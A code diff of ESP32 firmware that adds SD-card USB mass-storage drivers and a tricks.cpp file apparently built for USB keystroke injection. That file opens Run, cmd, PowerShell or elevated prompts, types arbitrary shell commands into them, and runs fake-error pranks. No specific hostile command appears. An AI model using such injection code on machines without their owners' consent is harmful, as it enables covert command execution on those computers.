virtual bool writeSectors(uint8_t *src, size_t start_sector, size_t sector_count) = 0;
|
||||
virtual bool readSectors(uint8_t *dst, size_t start_sector, size_t sector_count) = 0;
|
||||
virtual void printCardInfo() = 0;
|
||||
size_t getSectorSize() { return m_sector_size; }
|
||||
size_t getSectorCount() { return m_sector_count; }
|
||||
const std::string &get_mount_point() { return m_mount_point; }
|
||||
};
|
||||
72
src/components/storage/SDCardArduino.cpp
Normal file
72
src/components/storage/SDCardArduino.cpp
Normal file
@@ -0,0 +1,72 @@
|
||||
#include <Arduino.h>
|
||||
#include <SPI.h>
|
||||
#include <SD.h>
|
||||
|
||||
#include "SDCardArduino.h"
|
||||
|
||||
SDCardArduino::SDCardArduino(Stream &debug, const char *mount_point, gpio_num_t miso, gpio_num_t mosi, gpio_num_t clk, gpio_num_t cs)
|
||||
: SDCard(debug, mount_point)
|
||||
{
|
||||
static SPIClass spi(HSPI);
|
||||
spi.begin(clk, miso, mosi, cs);
|
||||
if (SD.begin(cs, spi, 80000000, mount_point))
|
||||
{
|
||||
debug.println("SD card initialized");
|
||||
}
|
||||
else
|
||||
{
|
||||
debug.println("SD card initialization failed");
|
||||
}
|
||||
m_sector_size = SD.sectorSize();
|
||||
m_sector_count = SD.numSectors();
|
||||
}
|
||||
|
||||
SDCardArduino::~SDCardArduino()
|
||||
{
|
||||
SD.end();
|
||||
}
|
||||
|
||||
void SDCardArduino::printCardInfo()
|
||||
{
|
||||
m_debug.printf("Card type: %d\n", SD.cardType());
|
||||
if (SD.cardType() == CARD_NONE)
|
||||
{
|
||||
m_debug.println("No SD card attached");
|
||||
return;
|
||||
}
|
||||
m_debug.printf("Card size: %lluMB\n", SD.cardSize() / (1024 * 1024));
|
||||
}
|
||||
|
||||
bool SDCardArduino::writeSectors(uint8_t *src, size_t start_sector, size_t sector_count)
|
||||
{
|
||||
digitalWrite(GPIO_NUM_2, HIGH);
|
||||
bool res = true;
|
||||
for (int i = 0; i < sector_count; i++)
|
||||
{
|
||||
res = SD.writeRAW((uint8_t *)src, start_sector + i);
|
||||
if (!res)
|
||||
{
|
||||
break;
|
||||
}
|
||||
src += m_sector_size;
|
||||
}
|
||||
digitalWrite(GPIO_NUM_2, LOW);
|
||||
return res;
|
||||
}
|
||||
|
||||
bool SDCardArduino::readSectors(uint8_t *dst, size_t start_sector, size_t sector_count)
|
||||
{
|
||||
digitalWrite(GPIO_NUM_2, HIGH);
|
||||
bool res = true;
|
||||
for (int i = 0; i < sector_count; i++)
|
||||
{
|
||||
res = SD.readRAW((uint8_t *)dst, start_sector + i);
|
||||
if (!res)
|
||||
{
|
||||
break;
|
||||
}
|
||||
dst += m_sector_size;
|
||||
}
|
||||
digitalWrite(GPIO_NUM_2, LOW);
|
||||
return res;
|
||||
}
|
||||
14
src/components/storage/SDCardArduino.h
Normal file
14
src/components/storage/SDCardArduino.h
Normal file
@@ -0,0 +1,14 @@
|
||||
#pragma once
|
||||
|
||||
#include "SDCard.h"
|
||||
|
||||
class SDCardArduino: public SDCard
|
||||
{
|
||||
protected:
|
||||
public:
|
||||
SDCardArduino(Stream &debug, const char *mount_point, gpio_num_t miso, gpio_num_t mosi, gpio_num_t clk, gpio_num_t cs);
|
||||
~SDCardArduino();
|
||||
bool writeSectors(uint8_t *src, size_t start_sector, size_t sector_count);
|
||||
bool readSectors(uint8_t *dst, size_t start_sector, size_t sector_count);
|
||||
void printCardInfo();
|
||||
};
|
||||
149
src/components/storage/SDCardIdf.cpp
Normal file
149
src/components/storage/SDCardIdf.cpp
Normal file
@@ -0,0 +1,149 @@
|
||||
#include <Arduino.h>
|
||||
#include <freertos/FreeRTOS.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <sys/unistd.h>
|
||||
#include <sys/stat.h>
|
||||
#include "esp_err.h"
|
||||
#include "esp_log.h"
|
||||
#include "esp_vfs_fat.h"
|
||||
#include "driver/sdmmc_host.h"
|
||||
#include "driver/sdspi_host.h"
|
||||
#include "sdmmc_cmd.h"
|
||||
|
||||
#include "SDCardIdf.h"
|
||||
|
||||
#define SPI_DMA_CHAN SPI_DMA_CH_AUTO
|
||||
|
||||
SDCardIdf::SDCardIdf(Stream &debug, const char *mount_point, gpio_num_t clk, gpio_num_t cmd, gpio_num_t d0, gpio_num_t d1, gpio_num_t d2, gpio_num_t d3)
|
||||
: SDCard(debug, mount_point)
|
||||
{
|
||||
// a mutex to prevent read and write overlapping
|
||||
m_mutex = xSemaphoreCreateMutex();
|
||||
m_host.max_freq_khz = SDMMC_FREQ_52M;
|
||||
m_host.flags = SDMMC_HOST_FLAG_4BIT;
|
||||
esp_err_t ret;
|
||||
// Options for mounting the filesystem.
|
||||
// If format_if_mount_failed is set to true, SD card will be partitioned and
|
||||
// formatted in case when mounting fails.
|
||||
esp_vfs_fat_sdmmc_mount_config_t mount_config = {
|
||||
.format_if_mount_failed = false,
|
||||
.max_files = 5,
|
||||
.allocation_unit_size = 16 * 1024};
|
||||
|
||||
m_debug.println("Initializing SD card");
|
||||
|
||||
sdmmc_slot_config_t slot_config = SDMMC_SLOT_CONFIG_DEFAULT();
|
||||
slot_config.flags = SDMMC_SLOT_FLAG_INTERNAL_PULLUP;
|
||||
slot_config.width = 4;
|
||||
slot_config.clk = clk;
|
||||
slot_config.cmd = cmd;
|
||||
slot_config.d0 = d0;
|
||||
slot_config.d1 = d1;
|
||||
slot_config.d2 = d2;
|
||||
slot_config.d3 = d3;
|
||||
ret = esp_vfs_fat_sdmmc_mount(m_mount_point.c_str(), &m_host, &slot_config, &mount_config, &m_card);
|
||||
if (ret != ESP_OK)
|
||||
{
|
||||
if (ret == ESP_FAIL)
|
||||
{
|
||||
m_debug.println("Failed to mount filesystem. "
|
||||
"If you want the card to be formatted, set the EXAMPLE_FORMAT_IF_MOUNT_FAILED menuconfig option.");
|
||||
}
|
||||
else
|
||||
{
|
||||
m_debug.printf("Failed to initialize the card (%s). "
|
||||
"Make sure SD card lines have pull-up resistors in place.\n",
|
||||
esp_err_to_name(ret));
|
||||
}
|
||||
return;
|
||||
}
|
||||
m_debug.printf("SDCard mounted at: %s\n", m_mount_point.c_str());
|
||||
m_sector_count = m_card->csd.capacity;
|
||||
m_sector_size = m_card->csd.sector_size;
|
||||
m_debug.printf("SDCard sector count: %d, size: %d\n", m_sector_count, m_sector_size);
|
||||
// Card has been initialized, print its properties
|
||||
sdmmc_card_print_info(stdout, m_card);
|
||||
}
|
||||
|
||||
SDCardIdf::SDCardIdf(Stream &debug, const char *mount_point, gpio_num_t miso, gpio_num_t mosi, gpio_num_t clk, gpio_num_t cs)
|
||||
: SDCard(debug, mount_point)
|
||||
{
|
||||
// a mutex to prevent read and write overlapping
|
||||
m_mutex = xSemaphoreCreateMutex();
|
||||
m_host.max_freq_khz = SDMMC_FREQ_52M;
|
||||
esp_err_t ret;
|
||||
// Options for mounting the filesystem.
|
||||
// If format_if_mount_failed is set to true, SD card will be partitioned and
|
||||
// formatted in case when mounting fails.
|
||||
esp_vfs_fat_sdmmc_mount_config_t mount_config = {
|
||||
.format_if_mount_failed = false,
|
||||
.max_files = 5,
|
||||
.allocation_unit_size = 16 * 1024};
|
||||
|
||||
m_debug.println("Initializing SD card");
|
||||
|
||||
spi_bus_config_t bus_cfg = {
|
||||
.mosi_io_num = mosi,
|
||||
.miso_io_num = miso,
|
||||
.sclk_io_num = clk,
|
||||
.quadwp_io_num = -1,
|
||||
.quadhd_io_num = -1,
|
||||
.max_transfer_sz = 16384,
|
||||
.flags = 0,
|
||||
.intr_flags = 0
|
||||
};
|
||||
ret = spi_bus_initialize(spi_host_device_t(m_host.slot), &bus_cfg, SPI_DMA_CHAN);
|
||||
if (ret != ESP_OK)
|
||||
{
|
||||
m_debug.println("Failed to initialize bus.");
|
||||
return;
|
||||
}
|
||||
|
||||
// This initializes the slot without card detect (CD) and write protect (WP) signals.
|
||||
// Modify slot_config.gpio_cd and slot_config.gpio_wp if your board has these signals.
|
||||
sdspi_device_config_t slot_config = SDSPI_DEVICE_CONFIG_DEFAULT();
|
||||
slot_config.gpio_cs = cs;
|
||||
slot_config.host_id = spi_host_device_t(m_host.slot);
|
||||
|
||||
ret = esp_vfs_fat_sdspi_mount(m_mount_point.c_str(), &m_host, &slot_config, &mount_config, &m_card);
|
||||
if (ret != ESP_OK)
|
||||
{
|
||||
if (ret == ESP_FAIL)
|
||||
{
|
||||
m_debug.println("Failed to mount filesystem. "
|
||||
"If you want the card to be formatted, set the EXAMPLE_FORMAT_IF_MOUNT_FAILED menuconfig option.");
|
||||
}
|
||||
else
|
||||
{
|
||||
m_debug.printf("Failed to initialize the card (%s). "
|
||||
"Make sure SD card lines have pull-up resistors in place.\n",
|
||||
esp_err_to_name(ret));
|
||||
}
|
||||
return;
|
||||
}
|
||||
m_debug.printf("SDCard mounted at: %s\n", m_mount_point.c_str());
|
||||
m_sector_count = m_card->csd.capacity;
|
||||
m_sector_size = m_card->csd.sector_size;
|
||||
m_debug.printf("SDCard sector count: %d, size: %d\n", m_sector_count, m_sector_size);
|
||||
// Card has been initialized, print its properties
|
||||
sdmmc_card_print_info(stdout, m_card);
|
||||
}
|
||||
|
||||
SDCardIdf::~SDCardIdf()
|
||||
{
|
||||
// lock the SD card
|
||||
xSemaphoreTake(m_mutex, portMAX_DELAY);
|
||||
// All done, unmount partition and disable SDMMC or SPI peripheral
|
||||
esp_vfs_fat_sdcard_unmount(m_mount_point.c_str(), m_card);
|
||||
m_debug.println("Card unmounted");
|
||||
//deinitialize the bus after all devices are removed
|
||||
spi_bus_free(spi_host_device_t(m_host.slot));
|
||||
// unlock the SD card
|
||||
xSemaphoreGive(m_mutex);
|
||||
}
|
||||
|
||||
void SDCardIdf::printCardInfo()
|
||||
{
|
||||
sdmmc_card_print_info(stdout, m_card);
|
||||
}
|
||||
26
src/components/storage/SDCardIdf.h
Normal file
26
src/components/storage/SDCardIdf.h
Normal file
@@ -0,0 +1,26 @@
|
||||
#pragma once
|
||||
|
||||
#include "SDCard.h"
|
||||
|
||||
#include <freertos/FreeRTOS.h>
|
||||
#include <driver/sdmmc_types.h>
|
||||
#include <driver/sdmmc_host.h>
|
||||
#include <driver/sdspi_host.h>
|
||||
|
||||
class SDCardIdf: public SDCard
|
||||
{
|
||||
protected:
|
||||
sdmmc_card_t *m_card;
|
||||
#ifdef USE_SDIO
|
||||
sdmmc_host_t m_host = SDMMC_HOST_DEFAULT();
|
||||
#else
|
||||
sdmmc_host_t m_host = SDSPI_HOST_DEFAULT();
|
||||
#endif
|
||||
// control access to the SD card
|
||||
SemaphoreHandle_t m_mutex;
|
||||
public:
|
||||
SDCardIdf(Stream &debug, const char *mount_point, gpio_num_t miso, gpio_num_t mosi, gpio_num_t clk, gpio_num_t cs);
|
||||
SDCardIdf(Stream &debug, const char *mount_point, gpio_num_t clk, gpio_num_t cmd, gpio_num_t d0, gpio_num_t d1, gpio_num_t d2, gpio_num_t d3);
|
||||
~SDCardIdf();
|
||||
void printCardInfo();
|
||||
};
|
||||
124
src/components/storage/SDCardLazyWrite.cpp
Normal file
124
src/components/storage/SDCardLazyWrite.cpp
Normal file
@@ -0,0 +1,124 @@
|
||||
#include <Arduino.h>
|
||||
#include <freertos/FreeRTOS.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <sys/unistd.h>
|
||||
#include <sys/stat.h>
|
||||
#include "esp_err.h"
|
||||
#include "esp_log.h"
|
||||
#include "esp_vfs_fat.h"
|
||||
#include "driver/sdmmc_host.h"
|
||||
#include "driver/sdspi_host.h"
|
||||
#include "sdmmc_cmd.h"
|
||||
|
||||
#include "SDCardLazyWrite.h"
|
||||
|
||||
static const char *TAG = "SDC";
|
||||
|
||||
#define SPI_DMA_CHAN SPI_DMA_CH_AUTO
|
||||
|
||||
enum class RequestType {
|
||||
READ,
|
||||
WRITE
|
||||
};
|
||||
|
||||
class Request {
|
||||
public:
|
||||
Request(RequestType type, void *data, size_t start_sector, size_t sector_count)
|
||||
: m_type(type), m_start_sector(start_sector), m_sector_count(sector_count) {
|
||||
if (type == RequestType::WRITE) {
|
||||
m_data = malloc(sector_count * 512);
|
||||
memcpy(m_data, data, sector_count * 512);
|
||||
} else if(type == RequestType::READ) {
|
||||
m_data = data;
|
||||
} else {
|
||||
m_data = NULL;
|
||||
}
|
||||
}
|
||||
~Request() {
|
||||
if (m_type == RequestType::WRITE) {
|
||||
free(m_data);
|
||||
}
|
||||
}
|
||||
RequestType m_type;
|
||||
void *m_data;
|
||||
size_t m_start_sector;
|
||||
size_t m_sector_count;
|
||||
};
|
||||
|
||||
SDCardLazyWrite::SDCardLazyWrite(Stream &debug, const char *mount_point, gpio_num_t miso, gpio_num_t mosi, gpio_num_t clk, gpio_num_t cs)
|
||||
: SDCardIdf(debug, mount_point, miso, mosi, clk, cs)
|
||||
{
|
||||
// a queue to hold requests (to read or write)
|
||||
m_request_queue = xQueueCreate(10, sizeof(Request *));
|
||||
// a queue to hold the results of read requests
|
||||
m_read_queue = xQueueCreate(10, sizeof(Request *));
|
||||
// create a task to drain the write queue
|
||||
xTaskCreate([](void *param) {
|
||||
SDCardLazyWrite *card = (SDCardLazyWrite *)param;
|
||||
card->drainQueue();
|
||||
}
|
||||
, "SDCardWriter", 4096, this, 1, NULL);
|
||||
}
|
||||
|
||||
SDCardLazyWrite::SDCardLazyWrite(Stream &debug, const char *mount_point, gpio_num_t clk, gpio_num_t cmd, gpio_num_t d0, gpio_num_t d1, gpio_num_t d2, gpio_num_t d3)
|
||||
: SDCardIdf(debug, mount_point, clk, cmd, d0, d1, d2, d3)
|
||||
{
|
||||
// a queue to hold requests (to read or write)
|
||||
m_request_queue = xQueueCreate(10, sizeof(Request *));
|
||||
// a queue to hold the results of read requests
|
||||
m_read_queue = xQueueCreate(10, sizeof(Request *));
|
||||
// create a task to drain the write queue
|
||||
xTaskCreate([](void *param) {
|
||||
SDCardLazyWrite *card = (SDCardLazyWrite *)param;
|
||||
card->drainQueue();
|
||||
}
|
||||
, "SDCardWriter", 4096, this, 1, NULL);
|
||||
}
|
||||
|
||||
bool SDCardLazyWrite::writeSectors(uint8_t *src, size_t start_sector, size_t sector_count) {
|
||||
xSemaphoreTake(m_mutex, portMAX_DELAY);
|
||||
// push the write request onto the queue
|
||||
Request *req = new Request(RequestType::WRITE, src, start_sector, sector_count);
|
||||
xQueueSend(m_request_queue, &req, portMAX_DELAY);
|
||||
xSemaphoreGive(m_mutex);
|
||||
return true;
|
||||
}
|
||||
|
||||
void SDCardLazyWrite::drainQueue() {
|
||||
Request *req;
|
||||
while (xQueueReceive(m_request_queue, &req, portMAX_DELAY) == pdTRUE) {
|
||||
// lock the SD card
|
||||
xSemaphoreTake(m_mutex, portMAX_DELAY);
|
||||
digitalWrite(GPIO_NUM_2, HIGH);
|
||||
if (req->m_type == RequestType::WRITE) {
|
||||
esp_err_t res = sdmmc_write_sectors(m_card, req->m_data, req->m_start_sector, req->m_sector_count);
|
||||
delete req;
|
||||
} else if (req->m_type == RequestType::READ) {
|
||||
esp_err_t res = sdmmc_read_sectors(m_card, req->m_data, req->m_start_sector, req->m_sector_count);
|
||||
xQueueSend(m_read_queue, &req, portMAX_DELAY);
|
||||
}
|
||||
digitalWrite(GPIO_NUM_2, LOW);
|
||||
xSemaphoreGive(m_mutex);
|
||||
}
|
||||
}
|
||||
|
||||
bool SDCardLazyWrite::readSectors(uint8_t *dst, size_t start_sector, size_t sector_count) {
|
||||
xSemaphoreTake(m_mutex, portMAX_DELAY);
|
||||
// check to see if the queue has any pending writes
|
||||
if (uxQueueMessagesWaiting(m_request_queue) > 0) {
|
||||
// push our read request onto the queue and wait for it to complete
|
||||
Request *req = new Request(RequestType::READ, dst, start_sector, sector_count);
|
||||
xQueueSend(m_request_queue, &req, portMAX_DELAY);
|
||||
// wait for the read to complete
|
||||
xQueueReceive(m_read_queue, &req, portMAX_DELAY);
|
||||
delete req;
|
||||
} else {
|
||||
digitalWrite(GPIO_NUM_2, HIGH);
|
||||
// no pending writes, so we can just read directly
|
||||
esp_err_t res = sdmmc_read_sectors(m_card, dst, start_sector, sector_count);
|
||||
digitalWrite(GPIO_NUM_2, LOW);
|
||||
}
|
||||
xSemaphoreGive(m_mutex);
|
||||
return true;
|
||||
}
|
||||
19
src/components/storage/SDCardLazyWrite.h
Normal file
19
src/components/storage/SDCardLazyWrite.h
Normal file
@@ -0,0 +1,19 @@
|
||||
#pragma once
|
||||
|
||||
#include "SDCardIdf.h"
|
||||
#include <freertos/FreeRTOS.h>
|
||||
|
||||
class SDCardLazyWrite: public SDCardIdf
|
||||
{
|
||||
private:
|
||||
// queue up requests
|
||||
QueueHandle_t m_request_queue;
|
||||
// results of reading data
|
||||
QueueHandle_t m_read_queue;
|
||||
void drainQueue();
|
||||
public:
|
||||
SDCardLazyWrite(Stream &debug, const char *mount_point, gpio_num_t miso, gpio_num_t mosi, gpio_num_t clk, gpio_num_t cs);
|
||||
SDCardLazyWrite(Stream &debug, const char *mount_point, gpio_num_t clk, gpio_num_t cmd, gpio_num_t d0, gpio_num_t d1, gpio_num_t d2, gpio_num_t d3);
|
||||
bool writeSectors(uint8_t *src, size_t start_sector, size_t sector_count);
|
||||
bool readSectors(uint8_t *dst, size_t start_sector, size_t sector_count);
|
||||
};
|
||||
35
src/components/storage/SDCardMultiSector.cpp
Normal file
35
src/components/storage/SDCardMultiSector.cpp
Normal file
@@ -0,0 +1,35 @@
|
||||
#include <Arduino.h>
|
||||
#include "esp_vfs_fat.h"
|
||||
#include "driver/sdmmc_host.h"
|
||||
#include "driver/sdspi_host.h"
|
||||
#include "sdmmc_cmd.h"
|
||||
|
||||
#include "SDCardMultiSector.h"
|
||||
|
||||
SDCardMultiSector::SDCardMultiSector(Stream &debug, const char *mount_point, gpio_num_t miso, gpio_num_t mosi, gpio_num_t clk, gpio_num_t cs)
|
||||
: SDCardIdf(debug, mount_point, miso, mosi, clk, cs)
|
||||
{
|
||||
}
|
||||
|
||||
SDCardMultiSector::SDCardMultiSector(Stream &debug, const char *mount_point, gpio_num_t clk, gpio_num_t cmd, gpio_num_t d0, gpio_num_t d1, gpio_num_t d2, gpio_num_t d3)
|
||||
: SDCardIdf(debug, mount_point, clk, cmd, d0, d1, d2, d3)
|
||||
{
|
||||
}
|
||||
|
||||
bool SDCardMultiSector::writeSectors(uint8_t *src, size_t start_sector, size_t sector_count) {
|
||||
xSemaphoreTake(m_mutex, portMAX_DELAY);
|
||||
digitalWrite(GPIO_NUM_2, HIGH);
|
||||
esp_err_t res = sdmmc_write_sectors(m_card, src, start_sector, sector_count);
|
||||
digitalWrite(GPIO_NUM_2, LOW);
|
||||
xSemaphoreGive(m_mutex);
|
||||
return res == ESP_OK;
|
||||
}
|
||||
|
||||
bool SDCardMultiSector::readSectors(uint8_t *dst, size_t start_sector, size_t sector_count) {
|
||||
xSemaphoreTake(m_mutex, portMAX_DELAY);
|
||||
digitalWrite(GPIO_NUM_2, HIGH);
|
||||
esp_err_t res = sdmmc_read_sectors(m_card, dst, start_sector, sector_count);
|
||||
digitalWrite(GPIO_NUM_2, LOW);
|
||||
xSemaphoreGive(m_mutex);
|
||||
return res == ESP_OK;
|
||||
}
|
||||
13
src/components/storage/SDCardMultiSector.h
Normal file
13
src/components/storage/SDCardMultiSector.h
Normal file
@@ -0,0 +1,13 @@
|
||||
#pragma once
|
||||
|
||||
#include "SDCardIdf.h"
|
||||
|
||||
class SDCardMultiSector: public SDCardIdf
|
||||
{
|
||||
protected:
|
||||
public:
|
||||
SDCardMultiSector(Stream &debug, const char *mount_point, gpio_num_t miso, gpio_num_t mosi, gpio_num_t clk, gpio_num_t cs);
|
||||
SDCardMultiSector(Stream &debug, const char *mount_point, gpio_num_t clk, gpio_num_t cmd, gpio_num_t d0, gpio_num_t d1, gpio_num_t d2, gpio_num_t d3);
|
||||
bool writeSectors(uint8_t *src, size_t start_sector, size_t sector_count);
|
||||
bool readSectors(uint8_t *dst, size_t start_sector, size_t sector_count);
|
||||
};
|
||||
93
src/components/storage/storage_wrapper.cpp
Normal file
93
src/components/storage/storage_wrapper.cpp
Normal file
@@ -0,0 +1,93 @@
|
||||
// Main.cpp is changed to storage_wrapper.cpp
|
||||
// This is done to integrate the esp32_sdcard_msc project developed by https://github.com/atomic14
|
||||
// The original source code of can be found at https://github.com/atomic14/esp32-sdcard-msc
|
||||
|
||||
#include "storage_wrapper.h"
|
||||
#include "components/rgb_control.h"
|
||||
|
||||
#ifndef SD_CARD_SPEED_TEST
|
||||
USBMSC msc;
|
||||
#endif
|
||||
SDCard *card;
|
||||
|
||||
void log(const char *str)
|
||||
{
|
||||
// Serial.println(str);
|
||||
return; // Not using Serial
|
||||
}
|
||||
|
||||
static int32_t onWrite(uint32_t lba, uint32_t offset, uint8_t *buffer, uint32_t bufsize)
|
||||
{
|
||||
// Serial.printf("Writing %d bytes to %d at offset\n", bufsize, lba, offset);
|
||||
// this writes a complete sector so we should return sector size on success
|
||||
if (card->writeSectors(buffer, lba, bufsize / card->getSectorSize()))
|
||||
{
|
||||
return bufsize;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
static int32_t onRead(uint32_t lba, uint32_t offset, void *buffer, uint32_t bufsize)
|
||||
{
|
||||
// Serial.printf("Reading %d bytes from %d at offset %d\n", bufsize, lba, offset);
|
||||
// this reads a complete sector so we should return sector size on success
|
||||
if (card->readSectors((uint8_t *)buffer, lba, bufsize / card->getSectorSize()))
|
||||
{
|
||||
return bufsize;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
static bool onStartStop(uint8_t power_condition, bool start, bool load_eject)
|
||||
{
|
||||
Serial.printf("StartStop: %d %d %d\n", power_condition, start, load_eject);
|
||||
if (load_eject)
|
||||
{
|
||||
#ifndef SD_CARD_SPEED_TEST
|
||||
msc.end();
|
||||
#endif
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
bool isBootButtonClicked()
|
||||
{
|
||||
return digitalRead(BOOT_BUTTON) == LOW;
|
||||
}
|
||||
|
||||
void mount_storage()
|
||||
{
|
||||
// Prevent LED from starting
|
||||
TaskHandle_t blink = xTaskGetHandle("blink_rgb");
|
||||
TaskHandle_t idle = xTaskGetHandle("idle_rgb");
|
||||
if (blink != nullptr) vTaskSuspend(blink);
|
||||
if (idle != nullptr) vTaskSuspend(idle);
|
||||
|
||||
pinMode(GPIO_NUM_2, OUTPUT);
|
||||
|
||||
#ifdef USE_SDIO
|
||||
card = new SDCardMultiSector(Serial, "/sd", SD_CARD_CLK, SD_CARD_CMD, SD_CARD_DAT0, SD_CARD_DAT1, SD_CARD_DAT2, SD_CARD_DAT3);
|
||||
#else
|
||||
card = new SDCardLazyWrite(Serial, "/sd", SD_CARD_MISO, SD_CARD_MOSI, SD_CARD_CLK, SD_CARD_CS);
|
||||
#endif
|
||||
if (card == nullptr)
|
||||
return;
|
||||
|
||||
msc.vendorID("ESP32");
|
||||
msc.productID("USB_MSC");
|
||||
msc.productRevision("1.0");
|
||||
msc.onRead(onRead);
|
||||
msc.onWrite(onWrite);
|
||||
msc.onStartStop(onStartStop);
|
||||
msc.mediaPresent(true);
|
||||
msc.begin(card->getSectorCount(), card->getSectorSize());
|
||||
}
|
||||
|
||||
// Eject storage connected by mount_storage and restart the device
|
||||
// After restart, the device shall be in USB-HID mode
|
||||
void eject_storage()
|
||||
{
|
||||
msc.end();
|
||||
delay(1000);
|
||||
ESP.restart();
|
||||
}
|
||||
16
src/components/storage/storage_wrapper.h
Normal file
16
src/components/storage/storage_wrapper.h
Normal file
@@ -0,0 +1,16 @@
|
||||
#include <Arduino.h>
|
||||
#include "USB.h"
|
||||
#include "USBMSC.h"
|
||||
|
||||
#include "SDCardArduino.h"
|
||||
#include "SDCardMultiSector.h"
|
||||
#include "SDCardLazyWrite.h"
|
||||
|
||||
#define BOOT_BUTTON 0
|
||||
|
||||
#define SPEED_TEST_BUFFER_SIZE 4096
|
||||
#define SPEED_TEST_NUMBER_SECTORS (SPEED_TEST_BUFFER_SIZE / 512)
|
||||
|
||||
// Function declarations
|
||||
void mount_storage();
|
||||
void eject_storage();
|
||||
376
src/components/tricks.cpp
Normal file
376
src/components/tricks.cpp
Normal file
@@ -0,0 +1,376 @@
|
||||
#include "tricks.h"
|
||||
#include "exescript.h"
|
||||
#include "collector.h"
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
static void open_run_dialog()
|
||||
{
|
||||
Keyboard.press(KEY_LEFT_GUI);
|
||||
Keyboard.press('r');
|
||||
Keyboard.releaseAll();
|
||||
delay(450);
|
||||
}
|
||||
|
||||
static void open_cmd_window()
|
||||
{
|
||||
open_run_dialog();
|
||||
write_task("cmd", 25, true);
|
||||
delay(700);
|
||||
}
|
||||
|
||||
static void open_powershell_window()
|
||||
{
|
||||
open_run_dialog();
|
||||
write_task("powershell", 25, true);
|
||||
delay(900);
|
||||
}
|
||||
|
||||
static void open_url(const char *url)
|
||||
{
|
||||
open_run_dialog();
|
||||
write_task(url, 18, true);
|
||||
}
|
||||
|
||||
static void press_combo_gui(char key)
|
||||
{
|
||||
Keyboard.press(KEY_LEFT_GUI);
|
||||
Keyboard.write(key);
|
||||
Keyboard.releaseAll();
|
||||
delay(200);
|
||||
}
|
||||
|
||||
static void press_combo_ctrl(char key)
|
||||
{
|
||||
Keyboard.press(KEY_LEFT_CTRL);
|
||||
Keyboard.write(key);
|
||||
Keyboard.releaseAll();
|
||||
delay(200);
|
||||
}
|
||||
|
||||
static void press_combo_ctrl_shift(char key)
|
||||
{
|
||||
Keyboard.press(KEY_LEFT_CTRL);
|
||||
Keyboard.press(KEY_LEFT_SHIFT);
|
||||
Keyboard.write(key);
|
||||
Keyboard.releaseAll();
|
||||
delay(200);
|
||||
}
|
||||
|
||||
static void press_combo_alt(char key)
|
||||
{
|
||||
Keyboard.press(KEY_LEFT_ALT);
|
||||
Keyboard.write(key);
|
||||
Keyboard.releaseAll();
|
||||
delay(200);
|
||||
}
|
||||
|
||||
static void press_combo_gui_shift(char key)
|
||||
{
|
||||
Keyboard.press(KEY_LEFT_GUI);
|
||||
Keyboard.press(KEY_LEFT_SHIFT);
|
||||
Keyboard.write(key);
|
||||
Keyboard.releaseAll();
|
||||
delay(200);
|
||||
}
|
||||
|
||||
static void open_notepad()
|
||||
{
|
||||
open_run_dialog();
|
||||
write_task("notepad", 25, true);
|
||||
delay(900);
|
||||
}
|
||||
|
||||
static void fake_error_prank()
|
||||
{
|
||||
open_notepad();
|
||||
const char *msg = R"(ERROR: System32 has encountered a critical failure.
|
||||
Your computer may explode in 10 seconds.
|
||||
|
||||
Just kidding. aether32 was here.)";
|
||||
write_task(msg, 12, false);
|
||||
}
|
||||
|
||||
static void devil_prank()
|
||||
{
|
||||
open_notepad();
|
||||
const char *msg = R"(aether32 says hello!
|
||||
The quick brown fox jumps over the lazy dog.
|
||||
ABCDEFGHIJKLMNOPQRSTUVWXYZ
|
||||
0123456789 !@#$%^&*())";
|
||||
write_task(msg, 8, false);
|
||||
}
|
||||
|
||||
static void alt_tab_spam(int count)
|
||||
{
|
||||
for (int i = 0; i < count; i++)
|
||||
{
|
||||
Keyboard.press(KEY_LEFT_ALT);
|
||||
Keyboard.press(KEY_TAB);
|
||||
Keyboard.releaseAll();
|
||||
delay(350);
|
||||
}
|
||||
}
|
||||
|
||||
void trick_type_text(const char *text, int delay_ms, bool enter, bool open_notepad_first)
|
||||
{
|
||||
if (open_notepad_first)
|
||||
{
|
||||
open_notepad();
|
||||
delay(400);
|
||||
}
|
||||
write_task(text, delay_ms, enter);
|
||||
}
|
||||
|
||||
void trick_run_shell_command(const char *cmd, const char *shell, int delay_ms)
|
||||
{
|
||||
if (strcmp(shell, "elevated") == 0)
|
||||
{
|
||||
open_elevated_cmd();
|
||||
delay(600);
|
||||
write_task(cmd, delay_ms, true);
|
||||
}
|
||||
else if (strcmp(shell, "cmd") == 0)
|
||||
{
|
||||
open_cmd_window();
|
||||
write_task(cmd, delay_ms, true);
|
||||
}
|
||||
else if (strcmp(shell, "powershell") == 0)
|
||||
{
|
||||
open_powershell_window();
|
||||
write_task(cmd, delay_ms, true);
|
||||
}
|
||||
else
|
||||
{
|
||||
open_run_dialog();
|
||||
write_task(cmd, delay_ms, true);
|
||||
}
|
||||
}
|
||||
|
||||
void trick_dispatch(const char *id)
|
||||
{
|
||||
if (strcmp(id, "calc") == 0)
|
||||
{
|
||||
open_run_dialog();
|
||||
write_task("calc", 25, true);
|
||||
}
|
||||
else if (strcmp(id, "notepad") == 0)
|
||||
{
|
||||
open_notepad();
|
||||
}
|
||||
else if (strcmp(id, "cmd") == 0)
|
||||
{
|
||||
open_cmd_window();
|
||||
}
|
||||
else if (strcmp(id, "elevated_cmd") == 0)
|
||||
{
|
||||
open_elevated_cmd();
|
||||
}
|
||||
else if (strcmp(id, "powershell") == 0)
|
||||
{
|
||||
open_powershell_window();
|
||||
}
|
||||
else if (strcmp(id, "taskmgr") == 0)
|
||||
{
|
||||
Keyboard.press(KEY_LEFT_CTRL);
|
||||
Keyboard.press(KEY_LEFT_SHIFT);
|
||||
Keyboard.write(KEY_ESC);
|
||||
Keyboard.releaseAll();
|
||||
}
|
||||
else if (strcmp(id, "desktop") == 0)
|
||||
{
|
||||
press_combo_gui('d');
|
||||
}
|
||||
else if (strcmp(id, "lock") == 0)
|
||||
{
|
||||
press_combo_gui('l');
|
||||
}
|
||||
else if (strcmp(id, "minimize") == 0)
|
||||
{
|
||||
press_combo_gui('m');
|
||||
}
|
||||
else if (strcmp(id, "alt_tab") == 0)
|
||||
{
|
||||
press_combo_alt(KEY_TAB);
|
||||
}
|
||||
